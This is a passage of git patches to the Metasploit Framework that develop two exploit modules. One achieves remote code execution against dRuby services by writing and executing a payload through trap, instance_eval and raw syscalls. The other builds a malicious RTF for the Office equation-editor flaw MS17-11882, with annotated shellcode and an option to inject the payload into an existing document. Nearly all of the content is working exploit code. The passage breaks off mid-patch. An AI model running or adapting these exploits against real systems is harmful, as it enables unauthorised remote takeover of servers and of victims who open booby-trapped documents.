+      p.send(:syscall, 6, i)
+      # syscall fork
+      p.send(:syscall, 2)
+      # syscall execve
+      p.send(:syscall, 11, filename, 0, 0)
+
+    # likely 64bit system
+    rescue Errno::EBADF
+      # syscall creat
+      i = p.send(:syscall,85,filename,0700)
+      # syscall write
+      p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
+      # syscall close
+      p.send(:syscall,3,i)
+      # syscall fork
+      p.send(:syscall,57)
+      # syscall execve
+      p.send(:syscall,59,filename,0,0)
+    end
+
+    register_file_for_cleanup(filename) if filename
+    #print_status("payload executed from file #{filename}") unless filename.nil?
+    #print_status("make sure to remove that file") unless filename.nil?
+  end
+
   def exploit
     serveruri = datastore['URI']
+
     DRb.start_service
     p = DRbObject.new_with_uri(serveruri)
     class << p
       undef :send
     end
 
-    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
-    # syscall to decide whether it's 64 or 32 bit:
-    # it's getpid on 32bit which will succeed, and writev on 64bit
-    # which will fail due to missing args
-    begin
-      pid = p.send(:syscall, 20)
-      p.send(:syscall, 37, pid, 23)
-    rescue Errno::EBADF
-      # 64 bit system
-      pid = p.send(:syscall, 39)
-      p.send(:syscall, 62, pid, 23)
+    methods = ["instance_eval", "syscall", "trap"]
+    methods.each do |method|
+      begin
+        print_status("trying to exploit #{method}")
+        send("method_" + method, p)
+        handler(nil)
+        break
+      rescue SecurityError => e
+        print_error("target is not vulnerable to #{method}")
+      end
     end
-    p.send(:my_eval, payload.encoded)
+
   end
 end

From 5da34e8f2bf0b14449ff46ba13a0bd0b67242c4b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 06:36:42 -0600
Subject: [PATCH 231/254] support RHOST/RPORT

---
 modules/exploits/linux/misc/drb_remote_codeexec.rb | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index f58d96c9e2..b42bfb6eb7 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -41,7 +41,10 @@ class MetasploitModule < Msf::Exploit::Remote
 
       register_options(
         [
-          OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
+          OptString.new('URI',
+            "The URI of the target host (druby://host:port) (overrides RHOST/RPORT)"),
+          Opt::RHOST(nil, false),
+          Opt::RPORT(8787)
         ])
   end
 
@@ -94,7 +97,11 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def exploit
-    serveruri = datastore['URI']
+    unless datastore['URI'].blank?
+      serveruri = datastore['URI']
+    else
+      serveruri = "druby://#{datastore['RHOST']}:#{datastore['RPORT']}"
+    end
 
     DRb.start_service
     p = DRbObject.new_with_uri(serveruri)

From 9f12b794da2c633377c3a15306b3547d374cca64 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 06:37:04 -0600
Subject: [PATCH 232/254] cleanup comments

---
 .../exploits/linux/misc/drb_remote_codeexec.rb | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index b42bfb6eb7..b0c1385c51 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -62,9 +62,9 @@ class MetasploitModule < Msf::Exploit::Remote
     filename = "." + Rex::Text.rand_text_alphanumeric(16)
 
     begin
-      # syscall to decide wether it's 64 or 32 bit:
-      # it's getpid on 32bit which will succeed, and writev on 64bit
-      # which will fail due to missing args
+      # Decide if this is running on an x86 or x64 target.
+      # This syscall number is getpid on x86, which will succeed,
+      # or writev on x64, which will fail due to missing args.
       j = p.send(:syscall, 20)
       # syscall open
       i =  p.send(:syscall, 8, filename, 0700)
@@ -77,18 +77,18 @@ class MetasploitModule < Msf::Exploit::Remote
       # syscall execve
       p.send(:syscall, 11, filename, 0, 0)
 
-    # likely 64bit system
+    # likely x64
     rescue Errno::EBADF
       # syscall creat
-      i = p.send(:syscall,85,filename,0700)
+      i = p.send(:syscall, 85, filename, 0700)
       # syscall write
-      p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
+      p.send(:syscall, 1, i, "#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
       # syscall close
-      p.send(:syscall,3,i)
+      p.send(:syscall, 3, i)
       # syscall fork
-      p.send(:syscall,57)
+      p.send(:syscall, 57)
       # syscall execve
-      p.send(:syscall,59,filename,0,0)
+      p.send(:syscall, 59, filename, 0, 0)
     end
 
     register_file_for_cleanup(filename) if filename

From eea72663b35cc1e1dfe0dd3372cb091c5603c248 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 06:37:21 -0600
Subject: [PATCH 233/254] warn on method failure instead of error

---
 modules/exploits/linux/misc/drb_remote_codeexec.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index b0c1385c51..aa82cb320b 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -117,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
         handler(nil)
         break
       rescue SecurityError => e
-        print_error("target is not vulnerable to #{method}")
+        print_warning("target is not vulnerable to #{method}")
       end
     end
 

From a0e0e1db15fd4b7d6abd5471c9f88d76fb0fd235 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 07:51:12 -0600
Subject: [PATCH 234/254] allow manual targeting, handle errors better

---
 .../exploits/linux/misc/drb_remote_codeexec.rb   | 16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index aa82cb320b..dc805981e2 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -33,7 +33,10 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'unix',
       'Arch'           => ARCH_CMD,
       'Targets'        => [
-        ['Automatic', {}],
+        ['Automatic', { method: 'auto'}],
+        ['Trap',      { method: 'trap'}],
+        ['Eval',      { method: 'instance_eval'}],
+        ['Syscall',   { method: 'syscall'}],
       ],
       'DisclosureDate' => 'Mar 23 2011',
       'DefaultTarget' => 0))
@@ -76,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
       p.send(:syscall, 2)
       # syscall execve
       p.send(:syscall, 11, filename, 0, 0)
+      print_status("attempting x86 execve of #{filename}")
 
     # likely x64
     rescue Errno::EBADF
@@ -89,6 +93,7 @@ class MetasploitModule < Msf::Exploit::Remote
       p.send(:syscall, 57)
       # syscall execve
       p.send(:syscall, 59, filename, 0, 0)
+      print_status("attempting x64 execve of #{filename}")
     end
 
     register_file_for_cleanup(filename) if filename
@@ -109,14 +114,19 @@ class MetasploitModule < Msf::Exploit::Remote
       undef :send
     end
 
-    methods = ["instance_eval", "syscall", "trap"]
+    if target[:method] == 'auto'
+      methods = ["instance_eval", "syscall", "trap"]
+    else
+      methods = [target[:method]]
+    end
+
     methods.each do |method|
       begin
         print_status("trying to exploit #{method}")
         send("method_" + method, p)
         handler(nil)
         break
-      rescue SecurityError => e
+      rescue SecurityError, DRb::DRbConnError, NoMethodError
         print_warning("target is not vulnerable to #{method}")
       end
     end

From 87e683c7634f0bb7018ae1a72dcd7214f918d70b Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 08:12:15 -0600
Subject: [PATCH 235/254] add back kill syscall for trap method

---
 modules/exploits/linux/misc/drb_remote_codeexec.rb | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index dc805981e2..ca6b34f4c3 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -41,7 +41,6 @@ class MetasploitModule < Msf::Exploit::Remote
       'DisclosureDate' => 'Mar 23 2011',
       'DefaultTarget' => 0))
 
-
       register_options(
         [
           OptString.new('URI',
@@ -54,6 +53,15 @@ class MetasploitModule < Msf::Exploit::Remote
   def method_trap(p)
     p.send(:trap, 23,
       :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
+    # Decide if this is running on an x86 or x64 target, using the kill(2) syscall
+    begin
+      pid = p.send(:syscall, 20)
+      p.send(:syscall, 37, pid, 23)
+    rescue Errno::EBADF
+      # 64 bit system
+      pid = p.send(:syscall, 39)
+      p.send(:syscall, 62, pid, 23)
+    end
     p.send(:my_eval, payload.encoded)
   end
 

From d689b33d7edc6baddb5280bffa48e04caad2b764 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 08:31:13 -0600
Subject: [PATCH 236/254] more error handling, deal with user error

---
 .../exploits/linux/misc/drb_remote_codeexec.rb  | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index ca6b34f4c3..5c7515cef3 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -43,8 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
       register_options(
         [
-          OptString.new('URI',
-            "The URI of the target host (druby://host:port) (overrides RHOST/RPORT)"),
+          OptString.new('URI', [false, "The URI of the target host (druby://host:port) (overrides RHOST/RPORT)", nil]),
           Opt::RHOST(nil, false),
           Opt::RPORT(8787)
         ])
@@ -110,6 +109,16 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def exploit
+    if !datastore['URI'].blank? && !datastore['RHOST'].blank?
+      print_error("URI and RHOST are specified, unset one")
+      return
+    end
+
+    if datastore['URI'].blank? && datastore['RHOST'].blank?
+      print_error("neither URI nor RHOST are specified, set one")
+      return
+    end
+
     unless datastore['URI'].blank?
       serveruri = datastore['URI']
     else
@@ -130,12 +139,12 @@ class MetasploitModule < Msf::Exploit::Remote
 
     methods.each do |method|
       begin
-        print_status("trying to exploit #{method}")
+        print_status("Trying to exploit #{method} method")
         send("method_" + method, p)
         handler(nil)
         break
       rescue SecurityError, DRb::DRbConnError, NoMethodError
-        print_warning("target is not vulnerable to #{method}")
+        print_warning("Target is not vulnerable to #{method} method")
       end
     end
 

From c288dab338424237d364ac1cb9bfc28f8e0d3dad Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 10:51:02 -0600
Subject: [PATCH 237/254] fixup RHOST/RPORT expectations if only URI is set

---
 modules/exploits/linux/misc/drb_remote_codeexec.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb
index 5c7515cef3..8eedfe4403 100644
--- a/modules/exploits/linux/misc/drb_remote_codeexec.rb
+++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb
@@ -104,8 +104,6 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     register_file_for_cleanup(filename) if filename
-    #print_status("payload executed from file #{filename}") unless filename.nil?
-    #print_status("make sure to remove that file") unless filename.nil?
   end
 
   def exploit
@@ -121,6 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     unless datastore['URI'].blank?
       serveruri = datastore['URI']
+      (datastore['RHOST'], datastore['RPORT']) = serveruri.sub(/druby:\/\//i, '').split(':')
     else
       serveruri = "druby://#{datastore['RHOST']}:#{datastore['RPORT']}"
     end

From 09dd5b84890488e912144ecedeb0597d6d72eafd Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Thu, 30 Nov 2017 10:51:21 -0600
Subject: [PATCH 238/254] fix check command to not require an rport _method_

---
 lib/msf/ui/console/module_command_dispatcher.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb
index 7f378440cc..7064ce6e83 100644
--- a/lib/msf/ui/console/module_command_dispatcher.rb
+++ b/lib/msf/ui/console/module_command_dispatcher.rb
@@ -209,10 +209,10 @@ module ModuleCommandDispatcher
     end
 
     rhost = instance.datastore['RHOST']
-    rport = nil
+    rport = instance.datastore['RPORT']
     peer = rhost
-    if instance.datastore['rport']
-      rport = instance.rport
+    if rport
+      rport = instance.rport if instance.respond_to?(:rport)
       peer = "#{rhost}:#{rport}"
     end
 

From 7df46b33e88af63b98844eb4bceba16e40507c2b Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 1 Dec 2017 08:03:56 -0500
Subject: [PATCH 239/254] disassembly ASM

---
 .../windows/fileformat/office_ms17_11882.rb   | 49 +++++++++++++++----
 1 file changed, 40 insertions(+), 9 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 37f096f7ac..6aafc49c14 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -22,18 +22,17 @@ class MetasploitModule < Msf::Exploit::Remote
         a length of 109 bytes to be executed Affects Microsoft Office word for the latest
         17 years.
       },
-      'Author' => ['mumbai', 'embedi', 'BlackMathIT'],
+      'Author' => ['mumbai', 'embedi'],
       'License' => MSF_LICENSE,
       'DisclosureDate' => 'Nov 15 2017',
       'References' => [
         ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
-        ['URL', 'https://github.com/embedi/CVE-2017-11882'],
-        ['URL', 'https://github.com/BlackMathIT/2017-11882_Generator/blob/master/2017-11882_Generator.py']
+        ['URL', 'https://github.com/embedi/CVE-2017-11882']
       ],
       'Platform' => 'win',
       'Arch' => [ARCH_X86, ARCH_X64],
       'Targets' => [
-        ['Microsoft Office Word', {} ],
+        ['Microsoft Office', {} ],
       ],
       'DefaultTarget' => 0,
       'Payload' => {
@@ -131,11 +130,43 @@ class MetasploitModule < Msf::Exploit::Remote
     header << "000000000000000000000000000000000000000000000000000000000000000\n"
 
 
-    shellcode = "\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00"
-    shellcode << "\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ"
-    shellcode << "\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09"
-    shellcode << "\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53"
-    shellcode << "\x66\x83\xEE\x4C\xFF\x10\x90\x90"
+    shellcode = "\x1c\x00"                  #  0:   1c 00                   sbb    al,0x0
+    shellcode << "\x00\x00"                 #  2:   00 00                   add    BYTE PTR [eax],al
+    shellcode << "\x02\x00"                 #  4:   02 00                   add    al,BYTE PTR [eax]
+    shellcode << "\x9e"                     #  6:   9e                      sahf
+    shellcode << "\xc4\xa9\x00\x00\x00\x00" #  7:   c4 a9 00 00 00 00       les    ebp,FWORD PTR [ecx+0x0]
+    shellcode << "\x00\x00"                 #  d:   00 00                   add    BYTE PTR [eax],al
+    shellcode << "\x00\xc8"                 #  f:   00 c8                   add    al,cl
+    shellcode << "\xa7"                     # 11:   a7                      cmps   DWORD PTR ds:[esi],DWORD PTR es:[edi]
+    shellcode << "\\"                       # 12:   5c                      pop    esp
+    shellcode << "\x00\xc4"                 # 13:   00 c4                   add    ah,al
+    shellcode << "\xee"                     # 15:   ee                      out    dx,al
+    shellcode << "["                        # 16:   5b                      pop    ebx
+    shellcode << "\x00\x00"                 # 17:   00 00                   add    BYTE PTR [eax],al
+    shellcode << "\x00\x00"                 # 19:   00 00                   add    BYTE PTR [eax],al
+    shellcode << "\x00\x03"                 # 1b:   00 03                   add    BYTE PTR [ebx],al
+    shellcode << "\x01\x01"                 # 1d:   01 01                   add    DWORD PTR [ecx],eax
+    shellcode << "\x03\n"                   # 1f:   03 0a                   add    ecx,DWORD PTR [edx]
+    shellcode << "\n\x01"                   # 21:   0a 01                   or     al,BYTE PTR [ecx]
+    shellcode << "\x08ZZ"                   # 23:   08 5a 5a                or     BYTE PTR [edx+0x5a],bl
+    shellcode << "\xB8\x44\xEB\x71\x12"     # 26:   b8 44 eb 71 12          mov    eax,0x1271eb44
+    shellcode << "\xBA\x78\x56\x34\x12"     # 2b:   ba 78 56 34 12          mov    edx,0x12345678
+    shellcode << "\x31\xD0"                 # 30:   31 d0                   xor    eax,edx
+    shellcode << "\x8B\x08"                 # 32:   8b 08                   mov    ecx,DWORD PTR [eax]
+    shellcode << "\x8B\x09"                 # 34:   8b 09                   mov    ecx,DWORD PTR [ecx]
+    shellcode << "\x8B\x09"                 # 36:   8b 09                   mov    ecx,DWORD PTR [ecx]
+    shellcode << "\x66\x83\xC1\x3C"         # 38:   66 83 c1 3c             add    cx,0x3c
+    shellcode << "\x31\xDB"                 # 3c:   31 db                   xor    ebx,ebx
+    shellcode << "\x53"                     # 3e:   53                      push   ebx
+    shellcode << "\x51"                     # 3f:   51                      push   ecx
+    shellcode << "\xBE\x64\x3E\x72\x12"     # 40:   be 64 3e 72 12          mov    esi,0x12723e64
+    shellcode << "\x31\xD6"                 # 45:   31 d6                   xor    esi,edx
+    shellcode << "\xFF\x16"                 # 47:   ff 16                   call   DWORD PTR [esi]
+    shellcode << "\x53"                     # 49:   53                      push   ebx
+    shellcode << "\x66\x83\xEE\x4C"         # 4a:   66 83 ee 4c             sub    si,0x4c
+    shellcode << "\xFF\x10"                 # 4e:   ff 10                   call   DWORD PTR [eax]
+    shellcode << "\x90"                     # 50:   90                      nop
+    shellcode << "\x90"                     # 50:   90                      nop
 
     footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
     footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'

From c788e4e54066c9cc99a44a261a7a07bfa53199e0 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 1 Dec 2017 11:36:03 -0500
Subject: [PATCH 240/254] Update office_ms17_11882.rb

---
 .../windows/fileformat/office_ms17_11882.rb   | 181 ++++++++++--------
 1 file changed, 104 insertions(+), 77 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index 6aafc49c14..291fe04045 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -46,88 +46,115 @@ class MetasploitModule < Msf::Exploit::Remote
     ))
 
     register_options([
-        OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"])
+        OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
+        OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
     ])
   end
 
+  def retrieve_header(filename)
+    if (not datastore['FOLDER_PATH'].nil?)
+      path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
+    else
+      path = nil
+    end
+    if (not path.nil?)
+      if ::File.file?(path)
+        File.open(path, 'rb') do |fd|
+          header = fd.read(fd.stat.size).split('{\*\datastore').first
+          header = header.to_s # otherwise I get nil class...
+          print_status("Injecting #{path}...")
+          return header
+        end
+      else
+        header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
+        header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
+        header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
+      end
+    else
+      header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
+      header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
+      header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
+    end
+    return header
+  end
+
 
 
   def generate_rtf
-    header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
-    header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
-    header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
-    header << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
-    header << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
-    header << '09000600000000000000000000000100000001000000000000000010000002000'
-    header << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
-    header << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
-    header << '07400720079000000000000000000000000000000000000000000000000000000'
-    header << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
-    header << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
-    header << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << '0000000000000000000000000000120002010100000003000000ffffffff00000'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
-    header << '00000000000000000000000000000000000000000000000000000000000000003'
-    header << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
-    header << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
-    header << 'ffffff01000002080000000000000000000000000000000000000000000000000'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
-    header << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
-    header << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
-    header << '00000000000000000000000000000000000000000000000000000000000000000'
-    header << "00000300040000000000000000000000000000000000000000000000000000000"
-    header << "000000000000000000000000000000000000000000000000000000000000000\n"
+    header = retrieve_header(datastore['FILENAME'])
+    object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
+    object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
+    object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
+    object_class << '09000600000000000000000000000100000001000000000000000010000002000'
+    object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
+    object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
+    object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
+    object_class << '07400720079000000000000000000000000000000000000000000000000000000'
+    object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
